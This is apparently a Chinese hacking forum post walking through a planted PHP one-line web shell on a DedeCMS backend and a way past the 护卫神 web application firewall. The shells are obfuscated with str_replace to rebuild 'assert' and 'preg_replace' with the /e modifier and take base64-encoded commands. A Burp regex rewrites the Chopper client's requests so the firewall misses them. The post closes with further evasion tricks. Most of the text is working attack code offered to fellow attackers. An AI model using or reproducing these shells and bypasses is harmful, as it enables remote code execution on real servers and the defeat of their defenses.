使用菜刀通过burp 绕过护卫神 一句话中base64_decode


服务端:<?php $a = str_replace(x,"","pxxxrexxxxg_rxxxepxxxlaxxce");
$a("/^/e",base64_decode($_REQUEST[g]),0); ?>

链接端:
chopper+burp
            http://xxxx/index1.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp 密码1
burp正则:=@eval\(base64_decode\(\$_POST\[z0\]\)\);&z0=
            替换为=


过程:本来菜刀是在客户端将post的数据解密了,再提交,我们现在先用burp将解密的过程替换掉,上传的就是base64加密的内容,WAF不检测出来<因为大部分的cms都使用base64编码上传数据>,然后在服务器端的一句话中解码post的base64数据,即可
----------------------------------------------------------------------------------------------------------------------------------
--------------------------只想知道方法对研究过程没有感觉的机油,下面可以不看啦~~----------
--------------------------------------------------------------------------------------------------------


首先进入了一个DEDE后台(怎么进去的咱就不管了,不是重点):
首先来到默认模板管理,上传一个一句话的模板


~~~我擦,悲剧……IP直接被封……尼玛,换代理…………


我们换如下的变形一句话,而且后缀改为*.htm:
  1. <?php $a = str_replace(x,"","axsxxsxexrxxt");
  2. $a($_POST["c"]); ?>
好的……正常传上去了……
然后来到生成模板,生成下文件:


链接下试试
尼玛……又是该死的护卫神(上面的路径什么的是缓存,因为这是成功后才去截的图,大致返回是“提交的数据中包含恶意代码”之类的):



这样看来,护卫神是对菜刀下手了,我们需要对菜刀提交的参数做变化,最简单的莫过于base64加密了,我们来看看提交如下形式的PHP一句话:
  1. <?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
额……直接被杀了……不过没有封我IP……万幸万幸……





-------------------------------------
那怎么办呢,还记得上面的两句话形式么,没有被杀,那么我们修改下:
  1. <?php $a = str_replace(x,"","pxxxrexxxxg_rxxxepxxxlaxxce");
  2. $a("/^/e",base64_decode($_REQUEST[g]),0); ?>
提交~~上去了~~~
生成成功
我们先测试下行不行


很好,成功读出了盘符号~~

然后我们响应修改BURP:

添加burp正则替换掉evalxxxxx

然后记得修改IE代理,因为CHOPPER用的就是它:<端口无限制,burp的端口即可,但是一定要修改IE的代理为burp,因为菜刀使用的是IE代理>


然后,菜刀再试试-3-,搞定:



----------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------反思----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------------

安全狗、护卫神这类软件,其实规则都是人写的,他们
必须使得网站提交的正常数据能够通过,那么,我们完全可以将恶意数据做成类似正常的数据进行提交

一般,base64是不会被封杀的,为什么?因为很多CMS提交数据都使用base64加密

这里厂商或许可以这样做:检查base64的真实内容,即,做base64_decode

我们要帮助机油,不能总是帮厂商不是?
那么如果他们开始检查base64的真实内容怎么办?也很简单,我们提交的base64内容经过二次加密,在服务器端使用str_replace等解密执行,str_replace总不能被封杀吧~~~多除了/e参数,是多么正常的方法啊~~~

要是str_replace被封杀了呢?那么不是还有create_function吗~~~

要是……不用想啦~总之,php变形的方式多种多样,每一个输入都有可能造成危害~~~~不过防御的方法其实还是有的,比较麻烦,目前并不适合一般厂商使用~~~这里就不再讨论~~~






previous page start next page